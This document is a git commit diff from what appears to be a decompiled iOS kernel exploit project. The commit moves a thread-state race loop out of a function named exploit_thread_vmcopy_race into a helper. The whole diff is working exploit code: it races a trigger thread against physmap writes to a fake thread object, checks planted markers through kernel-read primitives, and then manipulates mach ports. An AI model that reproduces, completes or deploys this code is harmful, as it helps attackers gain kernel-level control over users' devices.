Extract vmcopy thread state race loop

This commit is contained in:
khanhduytran0
2026-06-17 17:03:21 +07:00
parent 0219a286e2
commit 57c5bf65f7
@@ -156,6 +156,8 @@ typedef struct VmcopyTriggerThreadBlock
enum
{
VMCOPY_KREAD_CTX_OFFSET = 8,
VMCOPY_MAPPED_THREAD_OBJECT_OFFSET = 24,
VMCOPY_TARGET_THREAD_KADDR_OFFSET = 360,
VMCOPY_CHILD_THREAD_KADDR_OFFSET = 376,
VMCOPY_FAKE_THREAD_STATE_OFFSET = 384,
@@ -166,6 +168,7 @@ enum
VMCOPY_FAKE_MARKER_OFFSET = 616,
VMCOPY_FAKE_MARKER2_OFFSET = 640,
VMCOPY_FAKE_FLAGS_OFFSET = 652,
VMCOPY_THREAD_POLICY_BITS_OFFSET = 656,
VMCOPY_FAKE_CONTINUATION_OFFSET = 552,
VMCOPY_MESSAGE_KADDR_OFFSET = 664,
VMCOPY_CAPTURED_THREAD_OFFSET = 672,
@@ -360,6 +363,65 @@ static inline void vmcopy_prime_fake_message_pages(__int64 kreadCtx, uint64_t me
flush_cpu_cache(kreadCtx, messageKaddr + pageOffset + 0x8000, (int)(pageOffset + VMCOPY_MARKER32));
}
static inline uint64_t vmcopy_run_thread_state_race(
__int64 state,
const __int128 savedThreadObject[19],
VmcopyWritePhysmapBlock *writePhysmapBlock,
semaphore_t readySemaphore,
semaphore_t resumeSemaphore,
uint64_t baselineNext,
uint64_t replacementNext,
uint64_t originalNext,
uint64_t threadKaddr)
{
while ( 1 )
{
pthread_t triggerThread = 0;
__int64 triggerState = 0;
VmcopyTriggerThreadBlock triggerThreadBlock;
memcpy(*(void **)(state + VMCOPY_MAPPED_THREAD_OBJECT_OFFSET), savedThreadObject, 0x130u);
vmcopy_init_trigger_thread_block(&triggerThreadBlock, state, &triggerState, readySemaphore, resumeSemaphore);
pthread_create(&triggerThread, 0, (void *(__cdecl *)(void *))call_vtable_ptr_slot2, &triggerThreadBlock);
semaphore_wait(resumeSemaphore);
semaphore_signal(readySemaphore);
uint64_t mappedThreadObject = *(uint64_t *)(state + VMCOPY_MAPPED_THREAD_OBJECT_OFFSET);
*(uint64_t *)(mappedThreadObject + 240) = 0;
writePhysmapBlock->invoke((__int64)writePhysmapBlock, 8u);
triggerState = 1;
uint32_t *threadPolicyBits = (uint32_t *)(mappedThreadObject + 272);
uint64_t *threadNext = (uint64_t *)(mappedThreadObject + 296);
uint64_t *triggered = (uint64_t *)(mappedThreadObject + 240);
uint32_t policyBits = *(uint32_t *)(state + VMCOPY_THREAD_POLICY_BITS_OFFSET);
do
{
*threadPolicyBits = policyBits;
*threadNext = replacementNext;
}
while ( !*triggered );
writePhysmapBlock->invoke((__int64)writePhysmapBlock, 1u);
pthread_join(triggerThread, 0);
uint64_t observedNext = kread_u64_value(
*(uint64_t *)(state + VMCOPY_KREAD_CTX_OFFSET),
threadKaddr + 296);
if ( observedNext != baselineNext && observedNext != replacementNext && observedNext != originalNext )
{
uint64_t snapshot = *(uint64_t *)(state + VMCOPY_MAPPED_THREAD_OBJECT_OFFSET);
if ( *(uint32_t *)(snapshot + 272) == *(uint32_t *)(state + VMCOPY_THREAD_POLICY_BITS_OFFSET)
&& observedNext
&& *(uint64_t *)(snapshot + 264) == *(uint64_t *)(state + VMCOPY_FAKE_MARKER2_OFFSET)
&& *(uint64_t *)(snapshot + 248) == *(uint64_t *)(state + VMCOPY_FAKE_WAIT_LINK_OFFSET) )
{
return snapshot;
}
}
}
}
static inline void vmcopy_patch_memory_entry_page(__int64 kreadCtx, __int64 pageInfoKaddr, uint32_t ppnum, __int128 scratch[2])
{
memset(scratch, 0, 32);
@@ -7990,13 +8052,6 @@ __int64 __fastcall exploit_thread_vmcopy_race(__int64 someStruct)
__int64 v75; // x0
mach_vm_address_t v76; // x1
__int64 v78; // x25
__int64 v79; // x8
uint32_t *v80; // x9
uint64_t *v81; // x10
uint64_t *v82; // x8
int v83; // w11
__int64 v84; // x0
__int64 v85; // x1
mach_msg_header_t *v86; // x0
vm_offset_t v87; // x22
__int64 v88; // x24
@@ -8021,7 +8076,6 @@ __int64 __fastcall exploit_thread_vmcopy_race(__int64 someStruct)
vm_offset_t v108; // [xsp+F0h] [xbp-610h]
unsigned __int64 v109; // [xsp+F8h] [xbp-608h]
vm_address_t v110; // [xsp+100h] [xbp-600h] BYREF
VmcopyTriggerThreadBlock triggerThreadBlock; // [xsp+108h] [xbp-5F8h] BYREF
natural_t suspendedThreadState[0x44]; // [xsp+140h] [xbp-5C0h] BYREF
VmcopyWritePhysmapBlock writePhysmapBlock; // [xsp+250h] [xbp-4B0h] BYREF
vm_address_t v144; // [xsp+2B8h] [xbp-448h] BYREF
@@ -8301,44 +8355,17 @@ LABEL_68:
thread_set_state(*(uint32_t *)(someStruct + 672), 6, suspendedThreadState, 0x44u);
kread_u64_value(*(uint64_t *)(someStruct + 8), v100 + 296);
kread_u32_value(*(uint64_t *)(someStruct + 8), v101);
while ( 1 )
{
memcpy(*(void **)(someStruct + 24), __dst, 0x130u);
v150 = 0;
vmcopy_init_trigger_thread_block(&triggerThreadBlock, someStruct, &v150, v160, semaphore);
pthread_create(&v149, 0, (void *(__cdecl *)(void *))call_vtable_ptr_slot2, &triggerThreadBlock);
semaphore_wait(semaphore);
semaphore_signal(v160);
*(uint64_t *)(*(uint64_t *)(someStruct + 24) + 240LL) = 0;
writePhysmapBlock.invoke((__int64)&writePhysmapBlock, 8u);
v150 = 1;
v79 = *(uint64_t *)(someStruct + 24);
v80 = (uint32_t *)(v79 + 272);
v81 = (uint64_t *)(v79 + 296);
v82 = (uint64_t *)(v79 + 240);
v83 = *(uint32_t *)(someStruct + 656);
do
{
*v80 = v83;
*v81 = v48;
}
while ( !*v82 );
writePhysmapBlock.invoke((__int64)&writePhysmapBlock, 1u);
pthread_join(v149, 0);
v84 = kread_u64_value(*(uint64_t *)(someStruct + 8), v100 + 296);
if ( v84 != v78 && v84 != v48 && v84 != v41 )
{
v85 = *(uint64_t *)(someStruct + 24);
if ( *(uint32_t *)(v85 + 272) == *(uint32_t *)(someStruct + 656)
&& v84
&& *(uint64_t *)(v85 + 264) == *(uint64_t *)(someStruct + 640)
&& *(uint64_t *)(v85 + 248) == *(uint64_t *)(someStruct + 624) )
{
break;
}
}
}
memcpy(v94, (const void *)v85, 0x130u);
uint64_t capturedSnapshot = vmcopy_run_thread_state_race(
someStruct,
__dst,
&writePhysmapBlock,
v160,
semaphore,
v78,
v48,
v41,
v100);
memcpy(v94, (const void *)capturedSnapshot, 0x130u);
kread_u64_value(*(uint64_t *)(someStruct + 8), *(uint64_t *)(someStruct + 360) + 296LL);
mach_port_allocate(mach_task_self_, 1u, (mach_port_name_t *)(someStruct + 368));
mach_port_insert_right(mach_task_self_, *(uint32_t *)(someStruct + 368), *(uint32_t *)(someStruct + 368), 0x14u);